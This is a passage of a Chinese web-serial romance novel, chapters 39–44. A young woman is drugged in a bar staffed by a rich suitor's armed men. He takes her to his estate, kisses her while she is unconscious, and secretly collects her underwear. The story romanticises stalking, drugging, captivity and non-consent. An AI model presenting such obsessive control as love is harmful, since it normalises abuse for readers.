配上一双黑色的小皮鞋和白色短袜。 看起来,就像一个精致易碎的洋娃娃。 天真,纯洁,乖巧。 与酒吧这种龙蛇混杂的成人场所,格格不入。 苏晓看到她的第一眼,就倒吸了一口凉气。 我的小姑奶奶。 这是来“下手”的,还是来当活靶子的? 她能感觉到,从孟昭月出现的那一刻起,周围那些路过的、蹲在街边抽烟的男人的目光,就都黏了过来。 那些目光里,混杂着惊艳、欲望,和不加掩饰的觊觎。 像一群闻到了血腥味的鲨鱼。 苏晓警惕地观察了一下四周。 “走走走,我们先进去。” 苏晓快步上前,拉住孟昭月的手腕,几乎是半拖半拽地,将她带进了酒吧。 第39章 小叔,别人会不会以为我们是情侣 “夜航船”酒吧内部,音乐声震耳欲聋。 苏晓径直带着孟昭月走向一个预留好的卡座。 卡座的位置很好,既能看到舞池中央的热闹,又保持了一定的私密性。 苏晓熟练地扫开点单页面:“昭月,喝点什么?” 孟昭月看了一眼酒单,随手点了一杯名字听起来很无害的“夏日微风”。 苏晓则点了一杯威士忌。 很快,一个年轻的服务生端着托盘走了过来。 他穿着服务生的制服,头上戴着一顶黑色的鸭舌帽,帽檐压得很低。 脸上还戴着一个黑色的口罩,几乎将整张脸都遮得严严实实。 他将两杯酒放在桌上,动作干净利落。 “请慢用。” 他的声音有些低沉,听不出情绪。 苏晓看着他,忽然开口问:“我怎么好像没在这里见过你?” 服务生的动作停顿了一下。 “我今天来顶班。”他回答,声音依旧平淡。 “哦。” 苏晓点了点头,没有再多问。 难道是新同事?她在心里想。 孟昭月没有喝酒,只是安静地坐在那里,拿出了手机。 苏晓以为她要给时卿舟打电话。 然而,孟昭月却点开了另一个人的联系方式。 备注是:小叔。 她直接拨通了电话。 电话响了很久才被接通。 “喂?” 那头传来孟廷凛一贯的、低沉冷漠的声音。 “小叔。”孟昭月的声音软软糯糯,带着甜意。 “是我呀。” 电话那头的孟廷凛似乎愣了一下:“有事?” “我在‘夜航船’酒吧和同事玩呢。” 孟昭月用一种天真烂漫的语气,发出了邀请。 “你要过来吗?” 电话那头,陷入了长久的沉默。 久到孟昭月以为他已经挂断了。 “你说……你在哪?” 孟廷凛的声音,听起来像是从牙缝里挤出来的。 “酒吧呀。”孟昭月乖巧地重复了一遍。 她甚至还能听到电话那头,文件被捏得变形的声响。 又是一阵沉默。 最后,孟廷凛几乎是咬着牙说:“在那里等我,不准动。” 说完,他就挂断了电话。 与此同时,苏晓放在桌上的手机,也震动了一下。 她拿起一看,是队长发来的。 「BOSS预计一小时内到达,07号,稳住夜莺。」 苏晓:“……” 孟昭月挂断电话后,点开朋友圈,拍了一张酒吧霓虹灯LOGO的照片。 然后,配上了一段文字。 「等待一位重要的长辈,希望今晚取得进展。」 发送消息后,孟昭月好奇地打量着四周。 这是她第一次来这种地方。 舞池里,人们随着音乐摇摆,却彼此之间保持着恰当的距离。 空气中没有呛人的烟味,只有淡淡的、混合着各种酒香的气味。 没有醉醺醺的酒鬼,没有大声喧哗的人群,更没有那些在网上看到的、乱七八糟的搭讪。 “这里……”孟昭月转过头,看向苏晓,脸上带着困惑,“和我想象中的酒吧,好像不太一样。” “是吗?”苏晓怡然自得地抿了一口酒,笑了笑,“那挺好的,安全第一嘛。” 等把夜莺小姐安全送到老板手上,她就可以下班了。 孟昭月有一搭没一搭地和苏晓聊着天,学着她的样子,也抿了一口那杯“夏日微风”。 酸甜的果味在舌尖化开,带着一点点微不足道的酒精的刺激感。 味道,确实蛮不错的。 …… 不到二十分钟,酒吧的入口处出现了一阵不属于这里的骚动。 孟廷凛的身影出现在那里。 他穿着一身黑色西装,没有打领带,衬衫的领口解开了两颗。 他的视线在昏暗的场内扫了一圈,很快就精准地锁定了角落里的那个卡座。 然后,他迈开长腿,径直走了过来。 孟昭月看到他愣了愣,似乎没想到他会真的来。 不对呀,她不是发朋友圈了嘛? “小叔?” 怎么莫名有种在外面干坏事,然后被长辈抓包的心虚感。 孟廷凛走到卡座前,居高临下地看着她,那双凤眼里的情绪很冷。 “孟昭月,跟我回去。” 苏晓识趣地站起身,堆起一脸无辜的笑容:“孟先生您好,我是月月的朋友,我们就是下班了随便喝一杯,您别生气。” 孟廷凛扫了一眼苏晓,然后目光重新落到孟昭月的身上。 孟昭月抱着那杯已经见底的“夏日微风”,歪了歪头,声音软软糯糯地,像是在撒娇。 “可是我才刚来呀。” 她眨了眨眼,那双干净的杏眼在迷离的灯光下显得格外无辜。 “我不想回去嘛。” 不行不行,阿卿都还没来,她才不要回去。 孟廷凛看着她这副样子,没有再多说一个字。 他直接伸出手,扣住她的手腕,将她从座位上强行拽起来。 孟昭月被拽了一个踉跄,她的余光扫过斜上方墙角那个小小的、闪着微弱红点的黑色半球体。 监控摄像头。 阿卿,在看吗? 既然如此…… 孟昭月看了一眼眼前的孟廷凛,然后就顺势靠进了孟廷凛的怀里。 “小叔……” 她的声音软软糯糯,带着恰到好处的依赖,脸颊紧紧地贴在他笔挺的西装前襟上。 孟廷凛的脚步一顿,身体下意识地僵住。 怀里撞进一团温软,女孩身上淡淡的馨香混着微醺的酒气,丝丝缕缕钻进他的鼻腔。 这算什么? 投怀送抱? “孟昭月,你闹够了没有?”他压低声音,语气里是濒临爆发的怒火。 苏晓在一旁看得目瞪口呆,放在桌下的手已经开始在手机上疯狂敲击。 【牧羊人07】:警报警报!夜莺和目标发生肢体接触!重复!发生肢体接触! 【牧羊人07】:拥抱!是拥抱!Boss还好吗! 孟昭月像是完全没听到孟廷凛的警告,反而抱得更紧了些。 她甚至踮起脚尖,将下巴搁在他的肩膀上,侧过脸,用一种只有两个人能听到的、暧昧不明的气音,在他耳边说。 “小叔,你看。” “这里人好多哦。” “他们都在看我们呢。” “会不会以为,我们是情侣呀?” 她的呼吸温热,拂过他的耳廓,带来一阵细微的痒意。 孟廷凛感觉自己太阳穴突突直跳。 这个不知天高地厚的小混蛋! 他能感觉到怀里身体的柔软,孟廷凛的喉结不自觉地上下滚动了一下。 “孟昭月,别逼我在这里动手。”他压低声音警告。 孟廷凛深吸了一口气冷静下来。 他的侄女是他看着长大的,明明一直是个乖孩子。 现在他只能把罪魁祸首归到酒精上,然后看了苏晓一眼。 就是这些人把他的乖侄女带坏了! 苏晓打字的手一顿,然后尴尬地笑了笑。 Boss怎么还不来啊! 第40章 他的选择 议长办公室。 巨大的国风山水画下,坐着数位身着深色西装或制服的男人。 都是C国高层,还有几位军方的高级将领。 顾衡国亲自为时卿舟续上茶,语气谦和:“时先生,这次军部的行动成功,还多亏时先生的支持。” 坐在顾衡国对面的一位肩上扛着将星的男人随之开口,笑道:“顾议长客气了,这次行动都是为了维护秩序稳定,时家也是尽一份该尽的义务。” 顾衡国微笑:“另外关于之前时先生和各将军们提到的一号法案,目前正在议会内部审批,最快下周就能通过。” 时卿舟端起茶杯,没有喝,只是看着茶水中沉浮的茶叶,无线耳机里是来自数公里之外的加密汇报。 “啪。” 一声轻响。 时卿舟手中价值七位数的国瓷茶杯,出现了一道细微的裂痕。 滚烫的茶水从裂缝中渗出,烫在他的指腹上,他却恍若未觉。 顾衡国一愣,没想到茶杯突然裂了,连忙吩咐旁边的秘书:“时先生,您没事吧!快,去重新换个杯子!” 时卿舟放下了茶杯,看向顾衡国,温和地笑了笑:“没事的,一些小事,无伤大雅,刚刚的议案那就这样敲定了吧,希望合作愉快。” 他接过秘书送来的纸巾,斯条慢理地慢慢擦着手上的水渍。 脸上依旧是那副温文尔雅的表情,看不出任何异常。 嫉妒。 疯狂的嫉妒。 像黑色的藤蔓,疯狂地缠绕着他的心脏,越收越紧。 他很平静。 他甚至还能清晰地思考。 他想。 孟廷凛的那双手,碰过月月的后背。 应该砍掉。 孟廷凛的那身西装,沾染了月月的味道。 应该烧掉。 孟廷凛的那双眼睛,看到了月月对他撒娇的样子。 应该挖掉。 …… 酒吧里。 孟昭月在孟廷凛怀里蹭了一会儿,觉得火候差不多了。 她正准备见好就收,一阵突如其来的眩晕感却猛地袭来。 眼前的一切,开始旋转,模糊。 身体里的力气,像是被瞬间抽空,四肢百骸都泛着无力的酸软。 怎么回事? 她明明只喝了一杯果酒…… “唔……” 她难受地哼了一声,身体一软,下意识地抱紧了身边唯一能支撑她的东西。 孟廷凛立刻察觉到了她的不对劲。 他低下头,看到她原本还算清亮的眼睛也变得涣散。 “孟昭月?” 他立刻扶住她摇摇欲坠的身体,语气里带上了自己都未曾察觉的焦急。 “你怎么了?” 孟昭月的声音细若蚊吟,整个人都靠在了他身上。 “小叔,我头晕……没力气……好奇怪……” 孟廷凛的脸色彻底沉了下来。 他一把将孟昭月打横抱起。 “我带你去医院。” “孟先生!”苏晓见状,立刻站起身想阻止。 然而,她才刚迈出一步,同样的眩晕感和脱力感也席卷了她。 她的身体晃了晃,眼前一黑,直接软倒在了卡座的沙发上。 孟廷凛没在意苏晓,只当她是喝多了,抱着孟昭月,刚准备离开,口袋里的手机响了起来。 他看了一眼来电显示,眉头皱得更紧了。 是孟婉凝。 他本想直接挂断,但电话那头的人却锲而不舍。 他只能一边抱着孟昭月,一边接起电话。 “喂?” “小叔……” 电话那头,传来孟婉凝带着哭腔的、断断续续的声音。 “我……我出车祸了……” “我现在在城郊的盘山公路上……车子抛锚了……我好害怕……” 她的声音听起来脆弱又无助。 孟廷凛的脚步停住了。 盘山公路…… 听着电话里孟婉凝惊恐的哭声,孟廷凛看了一眼怀里昏昏沉沉的孟昭月,眼神挣扎。 孟婉凝的啜泣声沿着手机传入他的耳中。 他想起了上次晚宴后的那个夜晚,灼热的纠缠似乎还在眼前。 是他对不起她。 孟昭月也察觉到孟廷凛突然停下来的脚步,晃了晃脑袋,努力维持清醒:“小叔……” “小叔……你在听吗?这里好黑……我好怕……”手机里,孟婉凝的声音里带上了绝望的哭泣。 理智,身份,还有那些纠缠不清的过去…… 孟廷凛闭了闭眼。 “别怕。” 他听到自己说。 “我马上过去。” 挂断电话,他看了一眼怀里的孟昭月。 女孩正在乖乖巧巧的看着他,似乎在安静的等待着来自他的宣判。 孟廷凛眼神复杂:“昭月,婉凝那边有事……” 就在这时,那个一直沉默地站在不远处的服务生走了过来。 他依旧戴着鸭舌帽和口罩,看不清长相。 “先生。”他的声音很平淡,“这位小姐似乎是身体不适,需要我帮忙送她去休息室吗?” 孟廷凛犹豫了一下。 把她一个人留在这里,似乎不太安全。 可是孟婉凝那边…… 最终,他做出了选择。 他将怀里的孟昭月,交到了那个服务生的手上。 他的语气带着居高临下的吩咐:“麻烦你照顾好她,等下我会派人来接她,小费不会少的,别让她受到一丝伤害。” 服务生将孟昭月往怀里带了带,语气中听不出情绪:“这是我的荣幸,先生。” 送走孟昭月后,孟廷凛最后看了一眼孟昭月。 应该不会有什么事的吧……算了,她一直都很乖的,没事的。 然后便不再有任何留恋,转身离开了酒吧。 头也不回。 孟昭月的脑袋昏昏沉沉的,一切的喧嚣和灯光都明明灭灭,她只能看到孟廷凛的离开的背影。 眼前的场景似乎与曾经的相重叠。 这样的背景她看过好多次。 当那些人选择了橱窗里别的“娃娃”后,留下的就是这样的背景。 一个,又一个这样的背影,离她而去。 永远都没有变。 她是不被选择的那一个,她一直都知道。 没有人喜欢她。 孟昭月的眼前有些模糊,大脑也越来越晕,她感觉自己的努力维持的清醒快要撑不住了。 她只是……想要人能选择她。 每一次都,坚定的选择她。 彻底失去意识前,她想起了刚刚发送的朋友圈,下面刻意勾选着的仅可见的名单。 孟婉凝。 如果她等待的是孟廷凛,她现在应该会哭鼻子吧。 还好,她等的不是他。 她想着,然后闭上了眼睛。 服务生低头看了一眼怀里的少女,调整了一下姿势,让少女在他怀里更加舒服一点。 就在这时,苏晓的手机疯狂地震动起来,屏幕上是连续弹出的几条红色警告。 「警告!警告!」 「刚才那个服务生不是我们的人!」 「远离那个服务生!」 「重复!远离那个服务生!」 第41章 把我的人,还给我 服务生低头看着怀里失去意识到女孩,似乎看了一会,然后他低下头,隔着口罩,唇轻轻擦过孟昭要的脸颊。 他收紧手臂,将她抱得更紧,转身,脚步很快,径直朝着酒吧大门走去。 孟昭月在沉睡中似乎能闻到某种冷冽的清香,总觉得有些熟悉。 眼看就要走出那扇旋转门。 门口,两个穿着黑西装、身形魁梧的保安,却同时伸出手,拦住了那个服务生的去路。 其中一个,从腰后抽出了一把柯尔特M1911。 黑洞洞的枪口,对准了他的眉心。 服务生的脚步停住了。 紧接着,他的身后,传来了一声声清脆的金属撞击声。 “咔哒。” “咔哒。” “咔哒。” 是枪栓被拉动的声音。 一声接着一声,密集得像是死神的鼓点。 那个服务生缓缓地抬起头,看向酒吧大厅。 那一瞬间,舞池里迷离的灯光仿佛都静止了。 原本还在摇摆、喝酒、聊天的“客人们”、酒吧里的酒保、调酒师还有服务员们…… 所有人。 每个人手里,都端着一把枪,面无表情地看着服务生。 MP5,Glock18,Beretta92F…… 几十个黑洞洞的枪口,从四面八方,整齐划一地对准了那个服务生。 “啪”、“啪”、“啪”。 一阵不疾不徐的鼓掌声,从二楼的廊道传来。 酒吧老板秦御倚在雕花的栏杆上,居高临下地看着楼下那个被枪指着的男人,脸上带着玩味的笑意。 “顾少爷,好身手,好胆识。” 老板的声音传遍整个酒吧。 “居然能无声无息地换掉我这里的服务生,还精准地对我的客人下药。” 他口中的“顾少爷”,正是那个戴着口罩的服务生——顾清珩。 “不过,来都来了,何必急着走呢?” “我们先生说了,他可能……需要和您聊一聊。” “毕竟……” 酒吧老板的视线,落在了顾清珩怀里的孟昭月身上,笑容愈发意味深长。 “您怀里抱着的这位,可是我们时家未来的夫人。” 顾青珩看着周围那些面无表情、眼神冷酷的持枪者。 整个酒吧,从酒保到客人,全都是时卿舟的人。 这根本不是什么酒吧。 这是一个牢笼。 一个为他的昭月精心准备的牢笼。 他抱着孟昭月,站在枪支构成的森林的中央。 他没有动,甚至连呼吸的频率都没有改变。 那双露在口罩外的眼睛,平静地看着二楼栏杆后那个男人。 “时家?” 顾清珩终于开口,声音隔着口罩,显得有些沉闷。 他伸手摘下了脸上的口罩和头上的鸭舌帽丢到一旁。 露出了那张清俊冷冽的脸,与他平日在孟家的表现完全不一样。 “未来夫人?” 这是给孟昭月打上所有权的标签了? 时卿舟这个杂种。 像个肮脏的污泥一样缠着他的光,两世都是。 酒吧老板秦御看着他,脸上的笑容不变。 “看来顾少爷对我家先生的决定,有异议了?” 顾青珩没有回答秦御的问题,只是扫过周围举着枪的人们:“你们是黑水?时卿舟倒是好手段。” 这是时卿舟的私人武装之一,当初他在这只队伍手上吃过亏。 明明上辈时卿舟现在还没有整合这只队伍的,怎么这辈子这么早就…… 难道时卿舟也和他一样…… 一个不好的念头在他心头漫了起来。 这个恶魔! 凭什么! 他上辈子死后就应该下地狱的! 秦御听到顾青珩的话后,表情略微有些凝滞,他没想顾青珩直接点出了他们的身份。 他低头看着顾青珩,微微眯起眼睛:“顾少爷,见识不错。” “不过现在我们也没精力和你玩过家家,抓住他。” 他话音刚落,就有人上前控制住了顾青珩。 顾青珩神情冷了下来。 黑水的人有人想上前接孟昭月,却被身旁的人杵了一下。 “你想死啊,等老板来!” 那人表情一僵,立刻退下了。 秦爷从楼上走了下来,瞥了一眼自己的手下,然后看向被禁锢的顾青珩:“在我们先生到达前,就请顾少爷先安心待着。” 顾青珩冷冷看着眼前的人,现在带孟昭月是不可能离开了。 他料到时卿舟会派人跟着孟昭月,却没想到整个酒吧都是他的人。 抬头扫了一眼时钟,顾青珩的心中愈发怨恨。 他的时间要到了,马上就是那个废物接管身体了。 他的昭月…… …… 不知过了多久,酒吧二楼的阴影里,一道身影走了出来。 音乐早已停止,舞池的灯光也熄灭了。 皮鞋踩在木质楼梯上,发出沉闷的、规律的声响。 咚。 咚。 咚。 每一步,都像是踩在心脏上。 那些持枪者,随着那人的靠近,自动向两边分开,为他让出一条通路。 像一群迎接君主的恶犬,秦御也对着来人恭敬的行了一个礼。 “先生。” 时卿舟从黑暗中,一步一步地,走了出来。 他没有看任何人,目光只落在顾清珩怀里的那个女孩身上。 他最终停在了顾清珩面前,距离不过三步。 他抬起眼,看向顾清珩,脸上甚至还带着那副惯常的、温和有礼的笑容。 “顾少爷。” 他的声音很轻,在死寂的酒吧里却清晰可辨。 “把我的人,还给我。” 顾青珩身体下意识地紧绷,将孟昭月抱得更紧了。 “你的人?”顾青珩从牙缝里挤出这句话,声音里是毫不掩饰的恨意,“她什么时候是你的人了?” 时卿舟笑了笑,没有回答这个问题。 他只是伸出手,修长的手指,轻轻抚过孟昭月因为药物而泛红的脸颊。 孟昭月感觉到了熟悉的触碰,无意识地蹭了蹭,发出一声细弱的嘤咛。 “阿卿……” 听到这声呼唤,顾清珩的眸子像是淬了冰一样。 时卿舟脸上的笑意更深了,他欣赏了一下孟昭月泛红的小脸,然后重新抬起头。 “听到了吗?她叫我了。” “把她还给我。” 时卿舟重复了一遍,语气明显是冷了下来。 第42章 我等的,已经来了 “轰隆——” 一声雷乍然响起,似乎震得整个酒吧都在嗡鸣。 几乎时卿舟话音刚落的瞬间,黑水的人就按紧了顾青珩。 顾青珩下意识地想要将孟昭月抱紧,可是却被活活掰开了手。 时卿舟直接从他怀里抱走了孟昭月。 似乎是因为落入一个熟悉的怀抱,昏睡中的女孩像是小猫一样地在时卿舟的怀里蹭了蹭。 时卿舟只觉得心像是被轻轻挠了挠。 真可爱。 不过看到女孩闭着眼时,眼睫留下的那一小片阴影。 时卿舟的眼中闪过一丝的阴郁。 不知道顾青珩给她吃了什么,会不会有危险。 等下回去后得让医疗组的人给她抽血化验一下。 顾青珩见人被抢走,他不断地挣扎。 “时卿舟!你这个疯子!放开她!” 时卿舟只是淡漠地瞥了一眼顾青珩,然后直接转身就要离开。 顾青珩看着男人离开的背影,而他的怀里是他的光。 他想起了那场焚尽一切的大火,她冰冷的尸体,还有时卿舟那张疯狂的脸。 “时卿舟!” 他几乎是嘶吼着,冲着那个背影喊出声。 “你会害死她的!” 时卿舟的脚步停顿了一下,没有回头。 “你一定会害死她的!” 顾清珩的眼睛通红,声音因为绝望而嘶哑。 “就像上辈子一样!” 顾清珩的声音在死寂的酒吧里回荡。 顾清珩看着那个背影,胸口剧烈地起伏,通红的眼睛死死地盯着他。 他直接把最大的秘密吼了出来,像一场输掉全部的赌徒,掀开了自己最后的底牌。 终于,时卿舟缓缓地转过身。 他看着顾清珩,黑色的眼睛像两潭深不见底的寒水。 然后,他开了口,声音很轻。 “上辈子?” 他重复着这个词,尾音微微上扬。 “你是说……我把她关起来,打断她的腿,用链子锁起来,让她哪里都去不了。” “最后,她放火自焚的那一次吗?” 每随着时卿舟说一个字,顾青珩的脸色就白一分,眼中的恨意也就更浓一分。 顾青珩眼中的血丝泛起,死死地盯着眼前的人,恨不得将这个男人生吞活剥。 这个恶魔! 他的昭月上辈子就是被这个疯子逼死的! 他的昭月……他的昭月…… 时卿舟看着顾青珩这副要拼命的架势,勾起了惯常的温和的笑容,笑意却不达眼底。 “原来……你也记得啊。” “那真是太好了。” “这样,你就应该比谁都清楚,无论是上一辈子,还是这一辈子。” “她都只能是我的。” “时卿舟你个杂种!”面对时卿舟的挑衅,顾青珩再也忍不住了,他张嘴破口大骂,疯了一样的挣扎:“老子要杀了你!” 面对顾青珩的失态,时卿舟不再说话,直接抱着孟昭月转身就走。 “你会害死她的!时卿舟!” 身后传来顾青珩一遍又一遍的咒骂,时卿舟的脚步没有停下。 他的神情阴郁,只是将怀里的女孩不断地抱紧,仿佛在溺死之人抱着一根浮木。 不会的。 他不会再重蹈上辈子的覆辙的。 一定不会的…… 月月…… 顾清珩眼睁睁地看他们消失在门口,整个人像是脱力了一样跪倒在地。 “时卿舟……”他喃喃自语,声音里是无尽的恨意。 “你会害死她的……” …… 改装防弹的普尔曼行驶在城市之间。 窗外的霓虹,明明灭灭地照进来。 不知何时,外面下起了雨,雨点敲打在车窗上,发出细密的声响。 “先生,去花禾还是庄园?”姜玦的声音从驾驶座上传来。 时卿舟低头盯着在他的怀中乖巧安睡的女孩,沉默了好一会,才低声说。 “回庄园。” 他的地盘。 姜玦似乎愣了愣,然后打了转弯灯。 黑色的车辆掉过头,在雨夜中驶离城市的灯火璀璨。 时卿舟轻轻抚摸着孟昭月的脸庞,脑海里是监控摄像头里调取的场景。 女孩乖巧地搂着孟廷凛,然后凑近男人的耳边低声细语。 光是回想起这个场景,时卿舟就觉得自己的血液像是在倒流一样。 心脏被剜得一下一下的钝痛,以及他自己都快按捺不下的阴暗沸腾。 那一分钟的暴虐像是要将他吞噬一样。 “月月怎么就不乖呢……” 孟昭月的意识在一片昏昏沉沉中,感觉到自己的脸颊被什么一下一下的抚过。 痒痒的,还有些温暖。 她有些迷迷糊糊地睁开了眼睛。 她下意识地动了动,发现自己正被一个温暖的怀抱紧紧地抱着。 周身都是很熟悉的甜香。 是时卿舟。 她抬起头,正好对上他看过来的视线。 他的眼睛在昏暗的光线下,显得格外深邃。 “醒了?”时卿舟的声音很轻,混杂在雨声之中。 药效的后劲还在,孟昭月浑身发软,像被抽走了骨头,只能无力地靠在他怀里。 “我们……在哪?”她软着声音问。 “在我的车上。”时卿舟动了动,让她能更安稳地靠着自己,“你很安全。” 安全? 对了,小叔不知道接到谁的电话,然后把自己递给了一个陌生的服务生。 之后的记忆就断片了,明明自己只喝了一杯果酒。 “我怎么在这里?” “你被顾青珩下药了。”时卿舟温柔地看着她,简言意骇:“他想带走你,我赶到后就拦下他了。” 孟昭月有些懵:“顾青珩?” 她完全没想到是这个名字。 “他为什么要给我下药,我和他无冤无仇的……”甚至说两人都不怎么熟悉。 “那我小叔他……” 又是孟廷凛。 时卿舟的看着孟昭月的眸子沉了沉。 她醒来后还是想找他,真的就这么喜欢他吗…… 上辈子也是这样的。 两辈子了,她好像注定会被孟廷凛吸引一样。 上辈子,她追在孟廷凛身后,他以为是日久生情。 可这辈子他明明都提前介入,和她交往,结果她还是因为孟廷凛和他分手了。 “他走了。” “孟婉凝出了车祸,给他打了求救电话。” “所以,他把你交给了一个服务生,自己开车去找她了。” 他在告诉她,孟廷凛选择了别人。 孟昭月安静地听着,垂下了眼睫。 车厢内陷入沉默,只有雨点敲打车窗的单调声响。 她早就知道了。 朋友圈是她故意发给孟婉凝看的,孟婉凝一定会想办法把孟廷凛叫走。 而孟廷凛,也一定会选她。 这没什么。 真的。 反正,她等的也不是他。 时卿舟伸手将孟昭月额头前的头发撩开:“要等他吗?” 孟昭月眨了眨眼,好像孟廷凛说过会派人来接她来着。 她往时卿舟温暖的怀里缩了缩,找了个更舒服的姿势。 然后,用一种带着梦呓般鼻音的、软软的声音回答。 “不等了。” “我等的,已经来了。” 她从来没有等过孟廷凛,她等的一直都是时卿舟。 他来了,太好了。 时卿舟将她抱紧了些,他没有说话,只是将下巴抵在她柔软的发顶,呼吸着她身上的味道。 孟昭月的目光看向车窗外蜿蜒的水痕。 “下雨了。”她说。 时卿舟看了一眼窗外。 像初遇那天的雨一样,他从顾青珩手中夺走了她。 就像今天。 他低下头,嘴唇贴在她的额头上,很轻,很凉。 “对。” 他闭上了眼睛。 “下雨了。” “月月,我们回家。” 第43章 以后就乖乖待在这里 车辆行驶着。 远远地,孟昭月就看雨夜中,巨大的巴洛克风格的建筑群蛰伏在黑暗中,白墙斑驳。 古老、奢华、却颓破。 和孟家庄园的古典雅致完全不同,这里就是压抑宏伟的终焉之地。 “这里是……”孟昭月看着车外的景色咽了咽口水。 时卿舟亲了亲孟昭月的脸颊,声音温柔:“是我家。” 孟昭月:“???”不回花禾吗? 车辆行驶过两旁种满榕树的甬道,树叶在暴雨中欶欶作响。 然后在一栋建筑前慢慢停下。 立刻就有人举着雨伞小跑而来,恭敬地拉开了车门。 时卿舟抱着孟昭月下了车。 冰凉的雨丝混着风,扑面而来,让孟昭月混沌的意识清醒了几分。 看着四周陌生的环境,以及不远处黑漆漆的橡木大门。 孟昭月:“……” 好像有种玩脱了的感觉。 时卿舟直接将孟昭月往怀里带了带,挡住飘来的雨,抱着她一步一步走上被雨打湿的台阶。 雨还在下着。 屋内的主灯没有点,只是亮着几盏壁灯,有些昏暗。 孟昭月能闻到空气里弥漫着一股陈旧的、混合着名贵熏香的味道,像是破败的玫瑰。 两排穿着黑色制服的仆人,早已静候在大厅两侧。 看到时卿舟进来,他们齐刷刷地弯下腰,动作整齐划一,没有发出任何声音。 时卿舟目不斜视,抱着怀里的女孩,径直穿过大厅,走向东侧的走廊。 他的脚步声,一下,一下,回荡在走廊里。 姜玦跟在他身后,低声汇报。 “先生,医疗组已经准备就绪。” “嗯。” 时卿舟应了一声,脚步没有停。 很快,孟昭月被时卿舟抱进了一间房间。 房间内的光线明亮了很多,也十分宽敞,只是窗外树木的影子随着暴雨晃动,时不时传来风的呼啸声。 时卿舟将她轻轻地放在床上,拿了早就准备在床头柜上的毛巾,轻轻帮孟昭月擦着有些湿掉的头发。 “等下有个小检查,月月别怕。” “什么检查。”孟昭月昂起头,看着时卿舟。 时卿舟正在擦头发的手突然停了下来。 孟昭月疑惑地眨了眨眼。 时卿舟低眉看着眼前乖巧的女孩。 好可爱…… 这幅乖乖的,抬头看着他的模样,好可爱。 像只小猫。 他的手指抚上她的面容,轻轻摩挲着,声音似乎有些沙哑:“抽血,不疼的,宝宝。” 孟昭月:“……”他好像在哄小孩。 就在这时,卧室的门被轻轻敲响。 “先生。”是姜玦的声音。 时卿舟的声音回复了往日的温和:“进来。” 门被推开,一个穿着白大褂,戴着金丝眼镜的中年男人,带着两个护士走了进来。 他们推着一个小型的医疗推车,上面摆满了各种精密的仪器。 护士熟练地抽了血。 一滴血珠从那个小小的针眼里渗出。 时卿舟在一旁看着,然后他低下头,伸出舌尖,将那滴血珠,舔舐干净。 甜的。 带着铁锈味。 是他的月月的味道。 孟昭月:“???” 一旁正准备取棉签的护士动作顿住,神情没有变化,只是将普通棉签换成了酒精棉球,然后低下了眉眼,安静地等待着。 孟昭月连忙把自己的手抽了回来:“等下感染的!” 时卿舟看着孟昭月,无辜地眨了眨眼,然后诚恳的道歉:“看起来很好吃的样子,我没忍住。对不起,月月。” 孟昭月:“……?”你是吸血鬼吗? 时卿舟温柔地笑了笑,然后接过护士递过来的酒精棉球,轻轻压到孟昭月的针眼上。 “消毒了就不会感染了,月月疼吗?”他的声音温柔,像是哄着一个小孩一般。 孟昭月连忙摇头,白皙的脸上染着红晕,既是羞的还是恼的。 时卿舟这个大变态!! 不止抽血,还有各种乱七八糟的仪器检查,接近一个小时后,医务人员才离开。 厚重的门被重新关上。 房间里,又只剩下了他和她。 看着孟昭月的针眼不再流血了,时卿舟将棉球丢进了垃圾桶。 孟昭月有些太困,直接睡着了。 时卿舟关了灯,走到床边,重新坐下。 他低头看着沉睡的女孩,黑暗中,他可以看到她白皙的皮肤,可以看到她在睡梦中微微嘟起的唇。 他的月月,真可爱。 他再一次地在心底感叹。 真想让她就这样乖乖地睡一辈子。 不会去想着孟廷凛。 只属于他的月月。 只被他看着。 时卿舟看了良久,最后他俯下身,冰凉的嘴唇贴上她的。 好香…… 好甜…… 他像是在沙漠里干涸许久的旅人,终于寻到甘甜的水源一般,不断地汲取着少女口中的馨香。 月月……月月…… 桃花眼里晕染开情欲的水雾,泛出痴迷的神情。 给我好不好,月月……我想要你…… 他不断地厮磨着,舔舐着,伴随着呢喃的低语。 直到身下的女孩因为不适轻轻哼了一声,时卿舟才松开女孩。 他伸手轻轻捂住了女孩的眼睛,将头埋进她的颈窝处。 “没事的……月月继续睡……乖……” 他哑着声音低声安抚,直到女孩再次陷入沉睡。 “以后就乖乖待在这里,好吗?” 黑暗中,他的声音响起。 第44章 梦境与镣铐 时家庄园,地下三层。 这里没有窗,空气恒温恒湿,灯散发着冷白色的光。 时卿舟戴着白色手套,正站在一排巨大的真空玻璃展柜前。 他手中,是一件黑色的真丝吊带裙。 像流动的夜色,还带着属于她的、尚未完全散去的甜香。 他将那条裙子,小心翼翼地挂在一个特制的人体模型上,动作轻柔。 衣服下是配套的内衣,内裤。 赫然是之前孟昭月没找到的那套。 时卿舟做得很认真,也很专注,脸上带着一种近乎虔诚的神情。 做完这一切,他从操作台上拿起一个早已准备好的标签。 上面用烫金的字体打印着一串编号。 「藏品编号:S-0731」 「入库日期:2025年9月10日」 他将标签贴在玻璃展柜右下角,然后启动了真空程序。 随着空气被缓缓抽离,展柜内的一切都仿佛凝固在了时间里。 他看着展柜里那套安静的衣物,脸上露出了一个满足的笑容。 他抬起手,隔着冰冷的玻璃,轻轻抚摸着那件吊带裙的轮廓。 “真乖。” 他低声呢喃。 地下收藏室厚重的金属门,被无声地推开。 姜玦走了进来,脚步很轻。 “先生。” 他躬身行礼,声音压得很低,将报告递给时卿舟。 “孟小姐的检查结果出来了,顾青珩的药无害安全,很快就代谢掉了。” “配套检查也没有发现孟小姐的身体存在什么大问题。” 时卿舟低眉认真地看着报告上的各项指标。 姜玦继续汇报:“另外,孟崇山和江慧,已经回国了。” 孟崇山,江慧。 孟昭月的亲生父母。 一个是学会的会长,一个是国际上知名的大提琴家。 文化传媒领域是孟家的领域,就像军事黑产是时家的领域一样。 时卿舟的目光依旧停留在那个报告上,没有抬头。 “他们回来做什么?”他的声音很平淡。 姜玦的汇报简洁而清晰:“据说是为了参加顾衡国先生的副议长就职典礼。” “另外,他们似乎有意帮孟小姐谈门合适的亲事。” “合适?”他重复了一遍这个词,时卿舟抬头看向姜玦。 不会合适的。 比起端庄得体、更加符合孟家学术世家的气质的假女儿孟婉凝来说,孟父孟母反而不喜欢这个在他们看来有些“小家子气”的亲生女儿。 更多的是家族利益的交换了。 他的月月,是他的神明,是他最珍贵的宝藏,怎么可以被用做那种低俗的交易呢? “把他们的人选整理后发给我。” “是。”姜玦躬身领命,随后退了出去,金属门再次缓缓合上。 收藏室里,又只剩下了时卿舟一个人。 他重新看向那个展柜,脸上的表情温柔。 “你看。” 